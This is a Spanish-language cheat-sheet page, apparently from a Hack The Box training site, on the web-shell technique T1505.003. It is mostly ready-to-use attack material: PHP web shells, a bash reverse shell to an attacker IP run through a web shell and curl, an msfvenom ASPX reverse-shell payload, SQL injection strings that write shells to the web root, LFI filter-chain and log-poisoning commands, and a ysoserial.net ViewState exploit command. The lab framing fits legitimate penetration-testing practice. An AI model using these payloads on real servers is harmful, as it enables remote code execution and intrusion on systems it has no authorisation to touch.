T1505.003

Web shell

Subtécnica de T1505 Componente de software de servidor ↗

Dejar un script en el servidor web que ejecuta los comandos que le pasas por HTTP.

Cómo aparece en Hack The Box

En HTB es el resultado típico de una subida de ficheros mal filtrada: una .php (o .phtml, .phar, .aspx) con system($_GET['cmd']) y de ahí a una reverse shell.

Técnicas de nuestro catálogo que corresponden a esta (el número son sus máquinas):

Máquinas para practicarla

Ordenadas de más fácil a más difícil. El enlace ▶ te lleva al minuto del vídeo de IppSec donde se usa.

Guías

Comandos

Sacados de nuestras chuletas y fichas de herramientas. Escribe tus datos y se rellenan en todos los comandos.

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.

Generador de reverse shells › Webshells

Webshell mínima
<?php system($_GET['cmd']); ?>

Úsala con ?cmd=id. Si system está deshabilitada, prueba passthru, shell_exec, exec o popen.

Webshell que lanza la reverse shell
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'"); ?>
Invocar la webshell con curl Atacante
curl -G 'http://VICTIMA/uploads/shell.php' --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'"
ASPX (Windows) Atacante
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f aspx -o shell.aspx

Payloads de inyección SQL › MySQL

Escribir una webshell
' UNION SELECT '<?php system($_GET["cmd"]); ?>',NULL INTO OUTFILE '/var/www/html/shell.php'-- -

Payloads de inyección SQL › SQLite

Escribir una webshell con ATTACH (stacked)
'; ATTACH DATABASE '/var/www/html/shell.php' AS p; CREATE TABLE p.t (x text); INSERT INTO p.t (x) VALUES ('<?php system($_GET["cmd"]); ?>');--

LFI, SSTI, inyección de comandos y XXE › LFI

RCE sin subir nada (filter chain) Atacante
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'

Genera una cadena php://filter enorme que, al incluirse, escribe ese código. Herramienta de Synacktiv.

Envenenar el log con el User-Agent Atacante
curl -s http://10.10.11.20/ -A '<?php system($_GET["c"]); ?>'

ysoserial › .NET (ysoserial.net, desde Windows)

ViewState con las claves de machineKey
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "ping 10.10.14.5" --path="/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="CLAVE_DESCIFRADO" --validationalg="SHA1" --validationkey="CLAVE_VALIDACION"

Las claves salen del web.config (por ejemplo, leyéndolo con un LFI).